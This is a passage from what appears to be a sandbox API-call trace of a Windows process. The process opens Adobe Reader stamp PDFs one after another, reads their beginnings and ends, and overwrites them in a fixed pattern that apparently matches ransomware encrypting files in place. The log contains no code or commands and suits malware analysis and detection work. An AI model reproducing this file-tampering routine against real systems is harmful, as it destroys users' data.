SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.395] WriteFile (in: hFile=0x184, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.395] CloseHandle (hObject=0x184) returned 1 [0035.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.397] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.397] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x9d75 [0035.397] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.397] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.397] ReleaseMutex (hMutex=0x128) returned 1 [0035.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6310c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.397] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.399] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8d75 [0035.399] ReadFile (in: hFile=0x184, lpBuffer=0x2772358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.402] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8d75 [0035.402] WriteFile (in: hFile=0x184, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.403] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.403] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.403] CloseHandle (hObject=0x184) returned 1 [0035.404] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.404] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.404] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xb731 [0035.404] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.404] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.405] ReleaseMutex (hMutex=0x128) returned 1 [0035.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.405] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.408] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xa731 [0035.408] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.408] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xa731 [0035.409] WriteFile (in: hFile=0x184, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.409] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.409] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.409] CloseHandle (hObject=0x184) returned 1 [0035.410] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.410] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.410] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1c005 [0035.410] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.410] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.410] ReleaseMutex (hMutex=0x128) returned 1 [0035.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0035.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0035.411] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.414] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1b005 [0035.414] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.417] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1b005 [0035.417] WriteFile (in: hFile=0x184, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.417] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.417] WriteFile (in: hFile=0x184, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.417] CloseHandle (hObject=0x184) returned 1 [0035.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.419] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.419] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x17ff8 [0035.419] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.419] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.419] ReleaseMutex (hMutex=0x128) returned 1 [0035.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0035.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0035.420] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.423] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x16ff8 [0035.423] ReadFile (in: hFile=0x184, lpBuffer=0x2772358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.427] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x16ff8 [0035.427] WriteFile (in: hFile=0x184, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.429] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.429] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.429] CloseHandle (hObject=0x184) returned 1 [0035.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.431] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.431] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x15fc8 [0035.431] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.431] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.431] ReleaseMutex (hMutex=0x128) returned 1 [0035.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0035.432] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.438] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x14fc8 [0035.438] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.438] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x14fc8 [0035.439] WriteFile (in: hFile=0x184, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.439] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.439] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.439] CloseHandle (hObject=0x184) returned 1 [0035.441] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.441] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.441] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1c4f5 [0035.441] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.441] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.441] ReleaseMutex (hMutex=0x128) returned 1 [0035.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.441] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.443] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1b4f5 [0035.443] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.447] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1b4f5 [0035.447] WriteFile (in: hFile=0x184, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.447] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.447] WriteFile (in: hFile=0x184, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.447] CloseHandle (hObject=0x184) returned 1 [0035.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.449] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.449] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xb731 [0035.449] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.449] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.449] ReleaseMutex (hMutex=0x128) returned 1 [0035.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.449] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.757] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xa731 [0035.762] ReadFile (in: hFile=0x184, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.762] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xa731 [0035.763] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.763] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.763] WriteFile (in: hFile=0x184, lpBuffer=0x272fd08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x272fd08*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.765] CloseHandle (hObject=0x184) returned 1 [0035.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.802] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.802] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xe27c [0035.802] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.802] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.802] ReleaseMutex (hMutex=0x128) returned 1 [0035.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0035.802] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.804] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, 